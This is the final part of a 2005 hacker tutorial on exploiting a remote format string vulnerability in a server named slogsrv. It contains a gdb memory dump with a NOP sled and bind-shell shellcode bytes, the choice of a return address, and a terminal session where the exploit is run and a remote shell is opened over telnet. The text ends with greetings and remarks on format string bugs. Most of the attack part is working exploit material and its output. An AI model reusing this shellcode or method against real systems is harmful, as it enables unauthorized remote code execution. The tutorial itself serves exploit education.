0x08048749 0x00000005 0xbffff0a0 0x00000800 0xbffff09c: 0x00000000 0x08049d4a 0x08049d48 0x33342e25 0xbffff0ac: 0x25783837 0x6e682433 0x37382e25 0x25783833 0xbffff0bc: 0x6e682434 0x90909090 0x90909090 0x90909090 0xbffff0cc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0dc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0ec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff10c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff11c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff12c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff13c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff14c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff15c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff16c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff17c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff18c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff19c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff1ac: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff1bc: 0x90909090 0x50c03102 0x44c76650 0x581b0224 0xbffff1cc: 0x022404c6 0x02b0e689 0xc08580cd 0xc0310874 0xbffff1dc: 0x01b0db31 0x6a5080cd 0x89026a01 0xb0db31e1 0xbffff1ec: 0xcd01b366 0x6ac58980 0x89505610 0xb366b0e1 0xbffff1fc: 0x6a80cd02 0xe1895501 0xdb31c031 0x04b366b0 0xbffff20c: 0xc03180cd 0x89555050 0xb366b0e1 0x8980cd05 (gdb) Hmm.... lets use 0xbffff15c, it looks like a winner! ;P. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 4.2.5 Finally, lets spawn our oh so long awaited for... shell! Again, makes these changes to our exploit: #define RET 0x11223344 // testing 1-2-3 --> #define RET 0xbffff15c // debian 3.1 Nows lets grab some shell...... YEAH! skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000 Slogsrv Remote Format String Exploit skew 05.23.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~/Desktop$ ./sluged 127.0.0.1 5000 Slogsrv Remote Format String Exploit skew 05.23.05 Attacking 127.0.0.1:5000... Now "telnet 127.0.0.1 7000"! skew@vortex:~/Desktop$ netstat -antp | grep 7000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN 12845/slogsrv skew@vortex:~/Desktop$ telnet localhost 7000 Trying 127.0.0.1... Connected to localhost.localdomain. Escape character is '^]'. uname -a;id;echo;echo "OWNED!!!";echo Linux vortex 2.4.27-2-k7 #1 Thu Jan 20 11:25:34 JST 2005 i686 GNU/Linux uid=1000(skew) gid=1000(skew) groups=1000(skew),20(dialout),24(cdrom),25(floppy),29(audio),44(video) OWNED!!! : command not found exit; Connection closed by foreign host. skew@vortex:~/Desktop$ H0h0h0.. shell ;). #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 5. Greets go out to... Darkeagle, you are my bro man and format string master, hehe. Wsxz, you too are my bro and format string master, without you and darkeagle I wouldn't even know format string ;). CoKi, Xort, Atomix, Camel, Xtix, Crash-x, ChoiX, Vile, Coideloko, oMiC, CoKi, and all else, thanks for being cool guys. #####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$#####$$$$$ 6. Format string bugs are not something to be taken lightly, or as you seen here, they are can bite you in the butt quite hard, and also can be lots of fun and very valuable to attacks as well. Wu-FTPd, PHP, and many other big names in software have been exploited due to these once thought of "programming errors", but now thought of "exploitation vectors". Well, I hope this helped someone, later. -skew (skewtty@charter.net/http://skewtty.dyndns.org) 05.23.05